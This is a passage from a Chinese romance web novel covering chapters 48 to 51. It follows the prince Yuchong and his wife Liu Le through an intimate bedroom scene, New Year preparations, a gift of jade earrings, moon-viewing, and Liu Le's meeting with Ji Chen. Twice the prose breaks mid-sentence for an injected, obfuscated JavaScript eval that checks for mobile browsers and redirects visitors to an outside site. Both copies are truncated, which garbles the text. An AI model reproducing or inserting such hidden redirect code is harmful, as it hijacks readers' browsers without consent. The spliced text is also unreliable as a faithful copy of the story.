她好像听见予翀哼了一声:“是不是好官不由我说,黄御史和我一向意见不同。” 也就是和予翀完全相反的一个人。柳乐忍不住道:“大家不是都说黄御史是正气之士?” “正气?他买个正气的名罢了,行的事情可是毫不相干。” 柳乐吃了一惊:“他行了什么事?” “关心他干什么?哦,对了,那时你是为计正辰去向御史求情来着吧?”予翀语调一沉,脸上骤然结了冰。 “你怎知道?”柳乐见他猜中,有些着慌,马上又想起既然结识谢音徵,去找黄谦是很自然的事,索性大方承认,“是这样。那时候没人肯管计正辰的案子,我便想找黄大人。” “他管么?” 柳乐犹豫地说:“黄大人只按自己的章法办事,我想请他从旁过问一下,他不肯……” “他当然不肯,你求错人了。”予翀冷冷打断,“黄大人精明得很,深谙官场混事的诀窍——什么差事要紧着办,什么时候可以脱滑,他门儿清,怎会趟那浑水?别说你和他非亲非故,就是他夫人本人有事,他头一位也是先把自己撇干净了。” 柳乐呆呆望着枝头快要合拢的小花。黄谦和谢音徵年貌不相当,又性子呆板,不般配谢音徵的人品。但相貌、脾性到底是天生的,不赖自己,假使两人情投意合,甚至这些可以完全不相干。可听予翀不像是恶语中伤,那谢音徵所嫁的丈夫不仅严厉冷酷,还是个伪君子。——假若谢音徵看出他的原本面目,该多么难受。 同时,柳乐又忆起那时求告无门、四处碰钉子的凄凉无助:去找谢音徵,反害她被黄家那恶嬷嬷训斥;谢音徵想做一番事业,一心想要帮助别人,可是她们连自己都帮不了。 反观予翀,不过是天老爷让他投了个好胎,便一生不用对人卑躬屈膝,想做什么都易如反掌。这也罢了,她讨厌他可劲儿说些风凉话,似乎别人的悲苦在他不值一哂。 柳乐转过双眼,看着他一笑:“我没有求错人,我找谢姐姐时,她是认真打算帮我——她要我找你。” “找我?”予翀露出意外的神情,旋即笑道,“那你怎么没来?” “我不信你肯帮忙。” “不信我?连你‘谢姐姐’说的话都不听?” “我还没想好,你就……” “要想什么?我就怎么了?”予翀走上前,把柳乐拉进怀里,下巴在她头发上蹭着,一面低声问,“你宁可找姓赵的姓常的那些禽兽不如的家伙,也不来找我?你心里有顾虑。是什么?” 被他双关搂在怀中,柳乐益发窘得说不出。岂止是窘,她简直又惊又怕:惊的是不知何日起,只要一叫他抱住,她便忘了事理,甚至想要他抱着,朦朦胧胧间竟思起长久来;怕的是自己已然昏了头,自此只能仰人眉睫,指靠他捉摸不定的心思,倘有一日……这些念头在她心中乱七八糟地一闪,又变成了窘迫,因为予翀一只手从背后牢牢握住她的肩膀,不容她把脸转去别处。仿佛觉得她走投无路的样子怪有趣似的,他瞧着她说:“你是不是怕我像这样——” 他轻轻地拿唇去捉她的唇,捉不住也不着急,被她逃掉也不气恼。当嘴巴没有更好的用武之地时,他断断续续地说:“那时你就瞧出来……知道我想……像这样……从哪儿瞧出来的?我没有……这么坏吧。” 柳乐一次次别过脸,但他像扫过原野的风,令她无处躲藏。她躲得晕乎乎喘吁吁的,断断续续地想:那时想到他是这么个人么?当然没有。那时他不好,如今更坏,但到底是哪里不好? 首先现在这样就不好。明知这时肯定没人来后院,柳乐依然感到太不顾形迹似的,天还大亮着呢。 当她再一次被捕住,予翀不许她再逃,低声说了一句话:“你该来找我。——什么我都可以为你做。” 屋内比外头更暗一些,但天光还要好大一会儿才逝去,屋里也能看得见,予翀没有费神去点灯。 他跪坐在床边,抱着柳乐,这时候他好像已经了解了她对衣物的爱惜,慢慢地、轻轻地为她宽衣解带,一件件褪下她的衣衫,直到露出穿在里头的葱绿抹胸,他忽地停下手,将她横放在床中央,目光在她身上抚来抚去:“你这件小衣裳,衬上你这段身子,你道像什么?”不等回答,又轻声叹息,微笑着说,“真像根剥出来的小葱,水灵灵的。” 不是第一次,柳乐仍然被他看得难为情,而根本不敢回看他的眼睛。但他的声音无法避开——那几个字说得再温存没有了,可一钻入她的耳朵,就让耳朵热辣辣的,接着,在她脸上燃起一大片红晕,漫到脖子、肩头……她自己也感觉到了,心想:什么小葱,大概已经成了煮熟的虾子吧。 “别瞧。”推他也不是,拉他也不是 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黄昏时的朦胧和清晨不同,清晨醒来,柳乐看见予翀总有惊讶之感,好像是第一次看见似的,映着清爽的晨光,他的皮肤几乎白净得耀眼,她很快地闭上眼睛,予翀似乎也不愿她多看,俯身去亲她的眼皮,等他下床时,忽一下就把宽大的袍子披在身上;晚上点灯时又是另一样:当他立起身,挡住烛火,她还会瞅一眼那个颀长而黝黑的影子,而他转入灯烛之下,皮肤透出浅浅的金黄,像琥珀,她便不去细瞧了,似乎他是天庭里的仙树,禁止由人窥视。此时,从窗子透进的光正在变得暗淡,他站在床边,头一回让她看清了他最自然的、原原本本的样子:青白色的光落在他身上时,好像细微地颤动着,在肩膀的凹陷处止步,留出一块暗影,又融入前胸洁净的象牙白,变成一抹蒙蒙的蜜色。这些细小、微微晃动的光芒将他宽阔的肩膀和胸廓分明地显出来,让人看出他的皮肤细致得像玉石,不过美不在这儿,——在于这层皮肤覆着下面的血肉和骨骼,它们必须是这样一个整体。他的整个身体如一头优美的野兽,即使一动不动时也生气勃勃,藏着力量。 “这下天公地道了。好不好看?”他问。 她好像没听到。她向他半仰着脸,很留神地不把目光朝下看。过了好一会儿,她终于听见他的话,慌张中不知该把眼睛移到哪儿,便看见了。 “丑死了。”柳乐扭开身,脸扑在被上。 “本来是更……”他没说完,伸臂抱起她,把她抱在他的正前方。柳乐感到他手臂内侧光滑、绷紧的皮肤贴着她的脊背滑动,温热的触感让她知道自己的身体有些冰凉,不禁又朝他怀里缩了缩。忽然她小小地惊叫了一声,抬手去挡,但刚刚被那葱绿色的衣服遮盖的地方,手臂是掩不住的。他拣起落在两人之间的那一小片丝绸扔到一边,捉住她的双手放在自己腰侧。然后,再没有阻碍,他们两个紧紧贴在一起了。 “还饿不饿?”予翀躺着问。 屋子已经彻底暗了,只在炭炉周围有一圈橘色的光晕。 “不饿。”柳乐口里说着,却又坐起来,茫然地向黑乎乎的四面去望,“要吃饭了?” “先睡。”予翀拽她一把,拽她躺倒在他的身上。“睡一觉再说,过会儿我喊你起来。” 柳乐满足地叹气,从予翀的胸膛滚下去,却还挨着他。她想起小时候有几回玩得太高兴,午觉拖到下午才睡,醒来时别人已经要吃晚饭了,她觉得好像被人拉下了,又惆怅又委屈,恨不得哭一场。而现在却不同——不管何时睁开眼,她知道自己什么都不会错过。柳乐隐隐感到非常快活——对这种随心所欲、胡闹般的任性,原来的她一定不赞同,现在却慢慢习惯了。 她的一条腿还搁在予翀身上,也不知是她自己搭上去,还是他拿上去的。他的手抚着她的小腿,握着她的脚踝。她想要动一动,又觉得这样子怪舒服,而她实在疲累得不知所以,便由它在那儿,睡着了。 49. 匾额与耳坠 新春日近,王府里也忙忙碌碌备办年事。今年与之前大不相同:前两年王爷卧床不醒,为备着宫中来人视探,年节时各处也收拾一番,但只是表面功夫,众仆役不知日后将何去何从,心里惶惶惑惑如丧家之犬;哪知这一年王爷竟好了,众人似得了主心骨,外加又娶进王妃,府里有了女主人,而且自女主人一来,所到之处如冰消雪融,一派春光盎然之景,春风和悦之象;更不必提今岁领到的节赏又加厚几倍,因此满府里男女上下个个喜气盈腮,兴兴头头扫尘迎新。 柳乐也忙碌,但她不愿只“嘴忙”,想自己动动手,觉得这样才有意思。擦抹洒扫的活轮不到她手里,于是她拿红纸作出十来副春联,让人送去各处,预备着二十九那日贴;偏有自己这间小院,一心要拟出个最好的来,却左思右想而不得。直等到二十九早晨了,提笔在手中,蘸了墨时还没有词,一赌气,随便写下二句: 斜斜如丝复如意,盈盈随风亦随心。 写完,看了看,自语道:“不好,但也算好玩。”遂加上横批:一柳惊春。准备让人挂在栖月院门上。 予翀这时进来屋子,柳乐今早起来得迟,没看见他,因问:“不是去宫里,怎么又回来了?” 予翀说:“都到宫门口了,想你,便拐回来了。” 柳乐也不理他,予翀走到桌边,看见春联,称赞不已,低头看半天,说:“惊春两个字写得最好,再写一遍我看看。” 柳乐心中得意,提笔唰唰地写就。“这个更大方了。”予翀笑道,“不是过年了吗,我思想要把外头那匾换块新的,和你商量该题个什么。谁知你先想出好的来了。——今天我就找人赶制,最迟明日挂上。” 原来的旧匾是“折柳”二字,柳乐哼了一声:“我这字不好,不配挂。”说着就要去撕那红纸。 “别,别。”予翀从后抱住她,把她的双臂勒在自己的胳膊中,下巴搁在她肩上,扳她一起看案上的两个字,“哪里不好?” “不若殿下那两个字。” “那是我一时发了昏写的,马上就拿来给你砸了好不好?” “果然你那时没安着好意。”柳乐板起脸。他不提倒好——如今她已把那块匾看惯了,早就忘了那上面有什么字或那字有什么含义——可现在,她不由不想起初来时,心头便有几分不痛快。 “我这就去砸,不让你再看见它。”予翀懊恼道。但他并不动,一手箍住柳乐,一手指斜斜、盈盈几字说,“你看着吧,咱们下一年定是富有盈余,斗量不尽,便是你这联上来的好兆头。” 柳乐倒没想到这一层,看他也如市井之人一般说话,叫他逗得笑了。“快放开,你没正事做吗,就会腻腻歪歪。” “这不是我的正事?”予翀不放,又和她厮磨一会儿。一时新写的惊春墨干了,他先抢在手里才松开柳乐,赶紧卷起来往身上一揣。 柳乐看他这副样子,气又不是,笑又不是。予翀却正了面容:“有一事要问问你。” “什么?” “前两日我碰上皇兄在发愁,你道是为什么事?——原来太傅考书,皇兄在外面听了听,大皇子倒还答得好,只是他那几位伴读实在太过平平,皇兄怕时候久了大皇子自矜自傲,何况习文习武本都是相当的人在一起互相切磋、彼此追赶才有趣,容易进益。因此,皇兄意欲另寻几位天资高的孩子,等过了年就和大皇子一道学习——我看柳升和柳岸很合适,你觉得怎样?” 柳乐一听是夸赞自己的两位侄儿,很高兴。她没马上回答,又细想了想,细想之下更觉得予翀的话有道理,兄弟俩平日在家里念书,到底同伴太少,若能多几位好伙伴切磋,对他两个也是大有裨益的事。她见过大皇子魏勖几回,看他是个十分聪敏知礼的孩子,年龄又正好比柳升略小,比柳岸略大。说来也巧,她第一次见魏勖,便恰是想起了两个侄子,心道这几个小儿郎或许能玩到一处,谁知这便得着这么个机会。 柳乐不觉心内动念,又想:虽说父亲教得很好,多求名师总不是坏事,况且父亲只能教文,习武全凭兄弟俩自己瞎比划。搬家后原说要请武艺师父的,一时还没请到,若去宫里,自然是有最好的师父教了。 这时候,她心里是要答应下来,嘴上还有几分踌躇,问:“现在伴读的是谁人家的,柳升和柳图去合不合适?” “怎么不合适,是谁家的也比不过他们俩。一边是我的侄儿,一边是你的侄儿,一处读书玩耍,再适合不过。——这还是看魏勖甚好,不然我还不肯要他两个去呢。等我去对皇帝说,绝无不成。正好让皇兄也瞧瞧岳丈大人教的学生,柳太史可不是白叫的。” “那等过几日我去问问柳升他们。” “对。”予翀点头,“自然要他们自己答应才行,他们要是拿不准,我先带他们进宫里去看看。对了,你怎么不请他们来王府玩?” 柳乐惊讶地看着予翀:“请他们来?他们还小呢,只会淘气。” “怎么淘气了?”予翀眼里带笑道,“就请了来,你嫌淘气,我陪他们玩。” “你喜欢他们两个?” “当然,他们也喜欢我,不信你问问去。” 柳乐一想果然是,柳升柳图两个虽然见予翀次数不多,可是见了面就缠在他身边,一点儿也不拘谨害怕。 “我就问问去。”柳乐直想笑,又尽力不露出来,心里说:我全家人都喜欢你也不算,他们是他们,我是我。 予翀仿佛看出来了,说:“你可别以为我是借这个给你赔不是。虽然我确实要给你赔不是。”他拉住柳乐两只胳膊,在他眉梢飞扬的微笑不见了,他微微垂着眼睛,“先前,你看我太无礼太气人,但那不是……那个时候,我不是我。直到你来,我才好像又……不必说我了,”他忽地抬起眼,注视着柳乐,“是我的错,我向你道歉。” 他的眼睛怎么那么像……柳乐吃了一惊,马上感到不自在,使劲一甩胳膊:“行了,不用说了。” 予翀又把她拉进怀里,一只手臂搂着她的脖颈,把她的脸颊紧紧按在他胸前。就在柳乐以为他不打算出门了时,他才松开她,笑一笑,走掉了。 柳乐轻轻在窗前坐下,摸了摸脸颊上还热乎乎、痒痒的地方。她记起母亲有个习惯:平日里,隔三岔五地,她会将某些事记录在纸上——到底是什么事她从不让任何人知道,逢到年末,她就把自己关在屋子里,把那几页纸拿出来翻阅一遍,以作“回顾”。柳乐自己从没这个习惯,可现在,她面前好像也有一沓纸,这一年的许多事——主要是和予翀结识、相处的事,忽地都涌了出来。 一个半月,大概是不够摸透一个人,与他成亲一个半月,她一点儿都没有摸透予翀。 未嫁之先,她便对他有了成见,嫁来初时,他说话、行事也都那样恶劣。究竟是从何时起,她觉得他其实算是个挺好的人? 这个“好”的意思是说,在她眼中,他越来越不像一位“殿下”,越来越像一个无需用头衔与人区分的男子;想起他时,她脑中蹦出的词也不再是“王爷”,而不知不觉间变成了“予翀”。 现在,他越来越多地显露出温柔,虽说有时也故意来呕她,说些让人又恨又恼的话,不过可以看出,他不是怀着恶意,倒更像是顽童入了学堂,学了规矩,但偶尔还“劣性复发”,证明自己没那么轻易被人管束住。那么,他之前是为了好玩戏弄她?肯定不是。柳乐回想起原先他冰冷的眼神和无所顾忌的言语,甚至心头还能被刺得一疼。 到底先前那个是他、如今这个是他?若两个皆是,他的脾性未免太怪了。 不过人总是会变的吧,大概就如母亲所说:他的心也是肉长的,也能够变得热乎乎的。 柳乐的脸突然发起热来,于是她就站起身,轻快地走到院子里去了。 这日晚饭时分,匾额竟真做出来了。字刻得好,又飘逸又有劲,漆也上得好,丹砂地,醒目的绿字,亮堂堂的。柳乐瞧了很喜欢,只是漆还没干透;李宝自告奋勇,搬来两架梯子,自己骑在最上面,由两个人小心地把匾传递给他,接过来,端端正正挂上了,一点儿都没蹭到漆。柳乐横看竖看,觉得实在是好得很。天黑后,又跑出来看一回:园子里的灯都点上了,月洞门左右两盏灯尤其大而亮,门内,积墨的小山映着泼墨的天空,山上缀着红的、黄的灯,天上缀着银星,竹林中也星星点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995420|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点的,竹枝上又像缀着铃铛似的,时不时发出一片清脆的响声。柳乐把这些都看在眼里,才去瞧那两个字。两个字在灯影中悄悄现出来,仿佛是柳枝在春风中那样舒展、欢悦。春天提前来了,或许从没离开过。柳乐一时不知今夕何夕,不知身在何处,又觉得孩提时,好像曾于梦中见过这般景象。她惊叹地深吸了一口气,花木的幽香沁人心脾。现在,这儿是我的家了,柳乐默默告诉自己,想到小山后面那座小院,一种说不出的欢悦让她的心怦怦直跳。 等她对镜卸钗环时,予翀方才回来,进屋就问:“前几日是不是熹珍楼的吴嫂子往宫里去送首饰样子?” 柳乐胳膊还举在头上,回头看他一眼,“是,我陪着皇后瞧了瞧。过去半个月了,怎么突然问起这个?” “慢些,勾住了。”予翀上前帮她把一只蛐蛐簪拿下来,用手指弹了弹,那腿儿和翅子就嗡嗡地发出颤动。“这小虫子倒还细致。——怪我那时忘了对你说,别怕银子不够,本来也没个一定限制,若要设限,我用不着那些,补给你就是了。” “够是够了,不是算过嘛,你也同意的,没两日就不想认规矩了?”柳乐轻轻驳道。 “认,认。”予翀忙说,“既然够,你怎么不挑上几样?” “还挑什么?”柳乐手在妆台上方一挥,“这好几匣子,天天换着花样戴都戴不过来,过年戴的也尽有了。” 予翀笑道:“我说吴嫂子见了我又是告罪又是求情,我就知道你没看上她的东西。” “啊,不是,她可太多心了。”柳乐边说边摘下耳环,“真是因为用不着添新的。我哪有那么吹毛求疵,清高可厌。” “不吹毛求疵?那我就不怕了。”予翀从怀中摸出一只小盒,“我受不了吴嫂子唠叨,心想反正再多一个也不嫌,就为你选了一件。你别急,并没有坏了定好的规矩——花的银子是我从别处替皇帝省下、他分给我的,不在帐内,也不必再算它了。”见柳乐没生气,他笑着将盒子放入她手中,“那些花样繁复的我不懂,怕你不喜欢,就问她有没有简单一点的样子,最后做了一个最最简单的。” 柳乐摸摸木盒上的卷草刻纹,打开它,里面又是只大红绸缎做的小袋,再里面是一双耳坠:寸把长的细金钩子,末端挂着颗绿盈盈的小圆珠,很像她做姑娘时喜欢戴的那种琉璃珠耳坠。 不过这是一对翡翠珠子,虽然透明得如琉璃一般,其莹莹光彩却远非琉璃可比。一只珠子整个是鲜艳的翠绿色,另一只飘几丝绿花,像满月和弦月,两下里不同,更显灵动可爱。 尽管予翀的语气随随便便,柳乐认出这是一件用心的礼物。她提着两条链子,将珠儿对着光,像孩子般认真地瞧。 “真亮,像露珠一样。” “对。”予翀站在她身旁一起看。“蒲甘国矿里才有,就这么一对,我先要了过来。珠子虽小,再要找一样的可也难了。你戴上瞧瞧。” 要不是他站在跟前,她早就要试一试了,他看着,她有点儿不好意思。柳乐从镜子里瞥了予翀一眼,接上他在镜中的目光,慌忙侧开脸,微低下头,把一只坠子往耳上戴。 予翀抬起手,为她把披散下来的头发拢在脑后。没了凉凉的发丝遮挡,柳乐立即觉得耳朵烫乎乎的。她不敢向镜子里望一眼,好像不看,她的耳朵根肯定就不红,就不会让他发觉。 偏偏今天她的手笨得很,好半天才戴好一只,要去抓另一只时,予翀已经拿在手里。他蹲下身,为她戴上,柳乐便知道,自己的耳朵肯定像灯笼一般红了。 可当她终于向镜子一望,只看见两簇亮晶晶的、几乎瞧不清形状的光芒在她颈边雀跃。 “喜不喜欢?” 喜欢。柳乐的眼睛已经回答了。她看见自己的眼睛像星星一样,以为是珠子映的。可是予翀的眼里也有两丛星芒,是叫什么映的? 柳乐急忙说:“你瞧见那块匾没有?哪里找的师傅,才半日就刻出来了,还刻得那样好。” “是你写得好。”予翀笑着低下头,在她左耳上亲了一下,右耳上又一下,碰得两只珠子晃个不停,嘴里一面说着:“我知道了,这才是惊——春——” 50. 十四与月圆 户部姚尚书新近又得一个孙子,正月十四在家中做满月,摆一天的戏酒,专请亲友中的太太们。姚家家宅在葵仙桥邻近,和柳家算是邻里,故也请了江岚严华两个——自柳家搬过来后,此类应酬不断。柳乐对这些事本来无可无不可,这回听闻母亲嫂子要去,心里高兴,便也去了。在姚宅坐了大半日,席散后,柳乐先送母亲嫂子回家,又陪家人待了一会儿,因心里有事,便没留下吃饭,仍归王府来。 走进栖月院时,日头快要平西,恰与她头一回来这里看到的情形相似——廊前置了坐榻、矮几,予翀正坐在那儿。他已先宽去衣裳了,头发披在背后,穿着条靛青袍子,腰间随意系一条宽幅锦带,也如前次一样——青绿织金四合如意绦。 看见柳乐,予翀笑着起身,拉她坐在身旁。“等下月亮升得高了,咱们就在这儿赏月亮。” “这时候就急着赏月?明天才是十五。” “十四便不能赏?我可有话说:提起月圆就是三五之夜,十五的月亮都被人咏得滥了,我却爱十四这日——月亮将圆未圆时最好看,不信等下你细瞧瞧。不过——”他看着柳乐笑了,“他们不懂才好,今天的月儿就为咱们独有,你说是不是?” 柳乐心想这又是他的一个怪癖,也不和他辩。“既要赏月,湖畔不是更好?” “湖边风大,以后我们去那儿。这里也有水,虽小些,足够用了。菜等等才好,你要不要先去换衣裳?咱们随便坐着,你要是吃醉了我把你抱上床去。” “我才不吃酒。”柳乐抗议说,不过瞧他一副悠闲自在的模样,心里怪痒痒的,遂去梳洗卸妆。一时洗过澡,只穿着月白绫子小袄,海棠红夹裤,外罩一件新做的松花色绣绿梅闪缎比甲,头发还不十分干,松松在脑后挽了,轻轻便便走出来。 予翀对巧莺说:“你去吧。” 巧莺知道王爷不喜他们二人在一起时有人在旁伺候打扰,便行礼告退。柳乐与她对视一眼,巧莺轻轻点了点头。明日早上与计晨会面,一两日前巧莺已送过信去,与计晨约好了。 予翀拽柳乐一把,“坐这儿。”让她靠近炭盆坐了,自己挨着坐下。 “我瞧瞧有什么好吃的。”柳乐肚里饿了,先去看桌上菜色。 这时天空的蓝色已经深了,廊檐下挂了灯笼,案上摆着几只精巧风灯,庭中矮树的枝梢上也挂了两只,发出一团团红、黄的光,映着桌上四样鲜果:圆鼓鼓香橙,晶亮亮橄榄,脆生生青枣,黄澄澄梨子;此外,又有拿秋油、醋、花椒、芥油拌的清清爽爽几色小菜:红蛰绿豆芽、笋子鸡丝、豆腐皮、鸭胗、黄芽菜。 “其他菜马上就来,咱们先吃,我可不愿饿着肚子看月亮,看不出滋味来。”予翀说。 柳乐心想王爷何曾真的挨过饿,不过她的确嘴馋,拿筷子夹那豆芽菜拌海蜇,吃得满口鲜灵爽脆,哪还有抬头观月的工夫。 饮过一巡酒,便见四位侍女捧着捧盒上菜,菜式并未见如何特别——不过四样荤,四样素,四山鲜,四水族,俱是柳乐平日爱吃的;也不使大盘大碗,各样仅盛一瓯儿,此法儿是为免得浪费,也不容易冷。等一盏一盏摆好在两人面前,只占了半张桌。 当下二人吃几口菜,彼此又递一回酒。酒是葡萄酒,但柳乐喝过两钟便不肯再多饮。此日已过立春,桌上有一碟春饼盖在扣盒下,她光顾着吃菜,予翀拿菜裹卷春饼递给她,她只吃一个,予翀自己一连吃了好几张。 柳乐放下筷子,予翀又从扣盒里拿出一只杏仁酥,“给你,十四圆圆。” 柳乐愣了一下,伸手接过。“你也知道?”她问,诧异的是他身为王爷,别人为他买来点心,不知为何还特意告知他点心名字,而他居然也记住了这等小事。 “怎么不知?一般人都以为很难买,其实规律不难寻,我就知道一样:十四这日,他们肯定会做。”予翀朝她一笑,笑容中似乎含着戏谑,大概是取笑那次提亲时,计家没摆出这道点心待客。 柳乐把杏仁酥放回桌上:“我吃饱了。” “那咱们分一块。”予翀不由分说掰了半块送到柳乐嘴旁,自己那半一口吞了,“一定要吃,既为它好吃,也为十四圆圆这个彩头。”他一边说,一边认真看着柳乐。 柳乐不自在道:“你喜欢吃点心?” “对,现在我喜欢吃它了——因为甜。” 确实,淡淡的甜,混着杏仁的清香,十分可口。但是他在看什么?柳乐觉得嘴唇上抹了姜似的,连忙转开脸,拣一颗蜜渍橄榄放进嘴里。予翀又破一只橙子,两人一起吃了。 侍女捧来沐盆漱盂、清水香茶,两人洗手漱口,复又入坐,桌上已整理干净,新上了雁宕山产的紫茶。予翀挥挥手,侍女们悄悄退下,庭院中只余他二人,外加天上一轮皓月。 “现在你瞧。”予翀说。 月亮已挂上了半空,玉盘一般,只是那个圆盘下边略微有些不规整,但并不因此而减去半分光华。 近旁烛火、风灯的光,方还觉得亮,与天上一比,成了供人一哂的玩意儿。 “果然好。”柳乐说。 “人会变,你说是吗?”予翀忽地问。 “什么?”柳乐没明白。 予翀指指天上:“我为什么喜欢月亮,因为它总是变,却又总能圆回来——只要你耐心等着。” “月亮不会变,总是那一个月亮。”柳乐望着天空。 “那更好了。”予翀的笑声很爽朗,“你看着吧,过一会儿还要更好。” “明日晚上就不如它?” “明日也好,但咱们不在这儿看——等明日咱们去宫里只略坐一坐,吃几口,虚应一应景,然后就早点儿出来,我带你上街上玩去,痛痛快快逛一逛,你想不想去?” 柳乐不禁也笑起来:“穿一身金光灿烂的,怎么上街,不知是瞧灯呢还是给人瞧呢?” “这好办,回来换了衣裳就是——算了,太麻烦,索性就在车里头换,我提前准备好几件寻常衣服放在那儿。看着——咱们一对凤凰进去,一双家燕出来,如何?”予翀得意地笑,目光灼灼注视柳乐。 “成什么体统。”柳乐轻声说,然而心里不是不高兴。两个人牵着手,随在人群中挤来挤去,一定很有意思。不过他即便换了衣服,就好隐没在人群中了? 柳乐怀疑地偷偷瞟了他一眼,却正撞上他的目光,密密的睫毛下,他的眼睛亮闪闪瞧着她。 “明晚哪里好玩?”她问。 “咦,你在城里长大,还不知道么?”他上下两排睫毛分得开了,眼睛里好像有两只淘气的赤焰驹在蹦跳,“没关系,我知道,你跟着我就是了。” 柳乐突然想起,他先前一定常常去会那位姑娘,带她去很多地方玩过,他大概总是先换了衣服,装作寻常少年郎,在人群中,牵着姑娘的手。 他刚才说过会牵她么?他会吧。 柳乐胡思乱想,心里头像刚吃的橙子:甜,又还夹着微微的酸,淡淡的苦。 予翀忽地伸臂揽过她,让她半个身子靠在自己胸前。 “你这件衣服很好看。”他的手指沿着她衣上绣花勾画,一面说,“你知道修这所小院子,第一件事是做什么?——是移栽了这株绿萼梅来,就在去年春天。” 柳乐很喜爱南窗外那株绿梅,白日里走过时、或在窗下写字看书歇歇眼时,总要瞧上一瞧:枝上缀着的小小可爱白花,衬着嫩绿的花萼,尤其显得俏丽。 她不禁惊异:“我倒不知,才刚移来一年么,开了这样好。” 予翀带几分得意,戏说道:“花开得如何,看水络地脉,看栽花人浇灌得用不用心,尤为关键的还要花儿自己喜欢,与早晚倒没多大关系。——你最迟一个来,开得还更好。” 柳乐挣着要坐起,予翀便放开手。 “明儿早上我想上庙会逛逛。”柳乐说。话由嘴里出来,比生柿子还涩。 可是予翀的表情像吃了甜柿子,“晚上逛还不够,早上也去?” “早上也有趣。你不是要去还愿,我一人逛逛。” 予翀病中的正月十五,太皇太后曾在寺庙为他打醮祈福,如今又逢十五,因要他亲身再去进香还愿。 柳乐老早就知道十五这日予翀有半天不得闲。当时她问:“用不用我一起去?” 予翀说:“你不用去,都是些法师老道,没什么意思,你定不耐烦。” 于是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她伸长脖子望了望,看见月亮是躺在那一汪水上,懒洋洋而又自在,与天上文静、矜持的月亮正好交映成趣——不对,水里这个比天上的还可爱呢。 怪不得这院子叫栖月。 “你喜不喜欢?你瞧,我有办法把月亮给你。” 在谭家花园里他说过这话!柳乐一时忘了回答,迷迷惘惘地看着予翀,直看到他夜空般深邃的眼眸中蕴满了温柔的奇特光彩,慢慢靠近她。柳乐感觉在衣服下面,她的身体就像月光下的水微微颤动。她猛地醒来,像一股水流似的抽出身,打岔说:“如此景色,该当有乐曲才好。” “这个倒忘了。”予翀敲一下自己的脑袋,“只记得让人准备酒食,竟忘了重要的。你想听哪样?” 柳乐想了想,“月夜中,箫管未免让人惆怅,还是琴好。” “可惜我都不会,明日去宫里听吧。”予翀说着又摇了摇头,“我不喜听那些人,还是我自己学学,奏给你听。” “岂有此理。”柳乐笑道,“我可当不起。” “怎么,你不信我能弹得好?” “怎敢不信?”柳乐想他身上毕竟流着谢家的血,天生就擅管弦,即便一时忘了,再学起来一定容易。 “那就请你等等,明年这个时候——若我学得快便是明年中秋,还是你我二人,我给你弹琴。” “那我洗耳恭听。” 予翀抬手捏捏她的耳朵,嘴巴凑过来,悄声道:“不用恭听,你想怎么听都行,反正,只给你一人听。” 他的声音亦如袅袅的乐曲在她周身绕着,即使避开他的眼睛,她依然害羞。 “为何?”柳乐问,想做出若无其事的样子,“不是说独乐乐不如众乐乐?” “这话可不对,孔孟也有错的时候,依我看,独乐乐胜于众乐乐,足教人乐而忘死。”予翀执拗地说。 他轻轻扳过她的头,黑眸闪亮灼人,要烙在她身上:“你是我一个人的乐儿。” 这一次她没能逃掉。那双眼睛离她越来越近,近得令人眩晕,一整个星河向她倾倒下来了。 51. 计晨和柳乐 上元节一早是巧莺来将柳乐唤起,说王爷已出门了。柳乐便急忙梳洗,挑一身日常上街的衣裙,再开首饰匣子,一眼看见绿珠耳坠,不由多盯了一会儿。得了这副耳坠她很喜欢,在家时总戴着,不过年节期间时常要进宫,或有隆重宴席,那时便换上全套的头面,耳边挂金脚四珠环,——只在回娘家那日,能由着自己心意打扮,也戴了这对。今日因是一人出去闲逛,不便盛装,但又是元宵,这对珠子圆溜溜的意思好,且与计晨会面,想着亦不可过简过素,发上既没有太多插戴,脸边当略作点缀,为尊重有礼之意,遂拣出来戴上了。 一时吃毕早饭,柳乐等人乘车来到城隍庙附近,要车夫到背街等着,自己下来沿大街边走边看,几名侍卫远远跟随在后。 这时满街上都是节日出来游玩的人群,都簪花插柳,披红着绿,柳乐叫巧莺挽着,三四个丫环媳妇前后环绕,一小簇人汇入人流,并不算十分显眼。 柳乐久没上过街,在每个摊位都停下瞧瞧,看见东西好,不论家里有没有都买下,不一会儿,巧莺手里已经抱了个展翅的大燕子——一只扎得很伶俐的风筝、一把桃木剑、三枝条迎春花。 走过半条街道,只见前面侧街路口立着一座茶楼,匾上三个闪闪的金字“茗大观”。柳乐便说:“我不想走了,上那里坐坐,巧莺陪着就行,你们只管玩去,不用着急,还要过一半个时辰才回。”几个丫环媳妇听见哪有不乐意的,都欢天喜地自去玩耍。 说话的工夫,巧莺已进了茶楼。茶楼一层大厅有半个戏园那么大,摆满了桌椅。街上人虽多,本来都是出来逛,且这时候还早,所以大厅里没有一位茶客。但柳乐也不可能坐这儿,巧莺拉住个茶博士,悄悄问了几个字,茶博士招来个小跑堂,手向上一指:“泉字号。”柳乐便吩咐侍卫们在楼下等,自己和巧莺跟着伙计上楼。 楼上齐齐整整一排阁儿,屋门都闭着,每扇门上挂幅短布帘,上面或画几笔花卉,或画鸟雀、画草虫,不一而足,跑堂带她们走到东面最尽头一间,掀起画着山石泉水的软帘,半推开门,朝里喊一句:“客到了。” 柳乐向巧莺轻轻点一下头,走入屋中,将门在身后关上。 计晨原本大概是站在窗边向外眺望,不过那扇窗并不朝街。听到声音他转过身,却不敢动似的,直到柳乐走上去唤了一声晨大哥,才猛然惊醒,微微笑了,仍然没有开口。 柳乐说:“晨大哥久等了。” 